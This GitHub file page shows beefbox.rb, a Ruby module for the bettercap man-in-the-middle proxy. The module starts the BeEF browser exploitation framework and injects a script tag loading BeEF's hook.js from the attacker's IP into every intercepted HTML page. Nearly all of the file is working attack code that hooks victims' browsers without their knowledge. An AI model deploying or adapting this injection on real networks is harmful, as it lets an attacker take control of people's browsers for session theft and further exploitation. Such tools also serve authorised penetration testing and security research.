forked from evilsocket/bettercap-proxy-modules
-
Notifications
You must be signed in to change notification settings - Fork 0
/
beefbox.rb
80 lines (64 loc) · 2.13 KB
/
beefbox.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
=begin
BETTERCAP
Author : Simone 'evilsocket' Margaritelli
Email : [email protected]
Blog : http://www.evilsocket.net/
This project is released under the GPL 3 license.
=end
# Handle BeEF framework execution and injection into
# html pages automagically.
class BeefBox < BetterCap::Proxy::Module
@@beefpath = nil
def self.on_options(opts)
opts.on( '--beef-path PATH', 'Path to the BeEF installation.' ) do |v|
@@beefpath = File.expand_path v
unless Dir.exists?(@@beefpath) and File.exists?(@@beefpath + '/beef')
raise BetterCap::Error, "#{@@beefpath} invalid BeEF installation path."
end
end
end
def initialize
@beefport = 3000
@beefpid = nil
@hookname = '/hook.js'
while !beef_path_valid?
print '[BEEFBOX] Please specify the BeEF installation path: '.yellow
@@beefpath = gets.chomp
end
# read BeEF's config.yaml
unless Dir.exists?(@@beefpath) and File.exists?(@@beefpath + 'config.yaml')
begin
require 'yaml'
raw = File.read(@@beefpath + '/config.yaml')
cfg = YAML.load(raw)
@beefport = cfg['beef']['http']['port'].to_i
@hookname = cfg['beef']['http']['hook_file']
rescue
BetterCap::Logger.warn "[BEEFBOX] Could not parse BeEF config file. Using defaults."
end
end
@jsfile = "http://#{BetterCap::Context.get.ifconfig[:ip_saddr]}:#{@beefport}#{@hookname}"
BetterCap::Logger.warn "[BEEFBOX] Starting BeEF ..."
BetterCap::Logger.info "[BEEFBOX] Using hook: #{@jsfile}"
@beefpid = fork do
exec "cd '#{@@beefpath}' && ./beef"
end
end
def on_request( request, response )
# is it a html page?
if response.content_type =~ /^text\/html.*/
BetterCap::Logger.warn "Injecting BeEF into http://#{request.host}#{request.path}"
response.body.sub!( '</title>', "</title><script src='#{@jsfile}' type='text/javascript'></script>" )
end
end
private
def beef_path_valid?
unless @@beefpath.nil?
@@beefpath = File.expand_path @@beefpath
if Dir.exists? @@beefpath
return File.exists? @@beefpath + '/beef'
end
end
false
end
end